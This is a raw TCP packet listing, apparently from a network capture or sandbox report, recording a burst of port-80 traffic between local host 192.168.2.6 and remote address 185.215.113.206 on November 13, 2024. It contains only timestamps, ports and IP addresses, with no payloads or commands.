Nov 13, 2024 18:08:13.422872066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.422872066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.422879934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.422892094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.422898054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.422902107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.422919989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.422935009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423746109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423755884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423765898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423775911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423779964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423794031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423803091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423809052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423814058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423823118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423831940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423834085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423842907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423846960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423854113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423863888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423865080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423875093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423893929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423897028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423908949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423911095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423918009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423928976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423938036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.423945904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423959970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.423980951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424690962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424701929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424710035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424720049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424727917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424730062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424737930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424747944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424757957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424762011 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424767971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424777031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424779892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424787045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424796104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424798012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424808025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424813986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424817085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424827099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424837112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424837112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424846888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424856901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424861908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424869061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424880028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.424880981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424902916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.424925089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425667048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425677061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425687075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425697088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425707102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425717115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425718069 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425725937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425736904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425743103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425746918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425756931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425766945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425770044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425777912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425787926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425791025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425798893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425806999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425807953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425816059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425822973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425827026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425836086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425846100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.425849915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.425879002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426630974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426641941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426650047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426659107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426668882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426677942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426677942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426687002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426697969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426706076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426708937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426717043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426723957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426727057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426738977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426739931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426748991 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426752090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426759005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426769018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426774979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426779032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426789999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426799059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426800013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426809072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426810026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426820993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.426840067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.426862001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427587986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427598000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427607059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427615881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427627087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427629948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427637100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427649975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427659988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427660942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427670002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427680016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427680016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427689075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427699089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427702904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427706957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427716017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427726984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427727938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427736998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427742004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427747011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427758932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427768946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427769899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.427791119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.427803993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428565979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428576946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428586960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428596973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428607941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428608894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428617954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428627968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428630114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428639889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428649902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428658962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428666115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428677082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428683996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428687096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428694963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428697109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428706884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428718090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428723097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428729057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428740025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428745985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428750038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.428760052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.428775072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429555893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429565907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429574966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429584980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429594994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429600954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429605961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429615974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429627895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429629087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429639101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429641962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429649115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429660082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429671049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429671049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429681063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429692030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429702044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429702997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429712057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429713964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.429737091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.429757118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430532932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430542946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430551052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430561066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430571079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430572033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430583000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430586100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430592060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430603027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430613041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430620909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430624008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430634975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430635929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430644989 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430655956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430660963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430666924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430675983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430686951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.430686951 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430699110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430716991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.430736065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431483984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431494951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431504011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431514025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431524038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431526899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431534052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431543112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431544065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431554079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431565046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431574106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431574106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431583881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431585073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431593895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431605101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431611061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431615114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431626081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431637049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431637049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431649923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.431651115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431677103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.431696892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432343006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432353973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432375908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432384968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432387114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432398081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432404041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432406902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432416916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432418108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432429075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432437897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432446957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432447910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432459116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432460070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432470083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432471037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432480097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432490110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432497978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432501078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432511091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432519913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432523012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432533979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432538033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432554960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.432563066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.432589054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433252096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433264017 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433271885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433283091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433291912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433294058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433304071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433307886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433314085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433324099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433334112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433334112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433345079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433351040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433356047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433367014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433372021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433377028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433387995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.433393955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433414936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.433429003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.446580887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.446599007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.446608067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.446636915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.446676016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.489425898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.489505053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.489511013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.489521027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.489551067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.533981085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.533998013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534009933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534075022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534086943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534123898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534153938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534162998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534185886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534216881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534228086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534239054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534249067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534249067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534275055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534296036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534446955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534457922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534468889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534481049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534497976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:13.534497976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534512043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534527063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:13.534570932 CET	80	49714	185.215.113.206	192.168.2.6
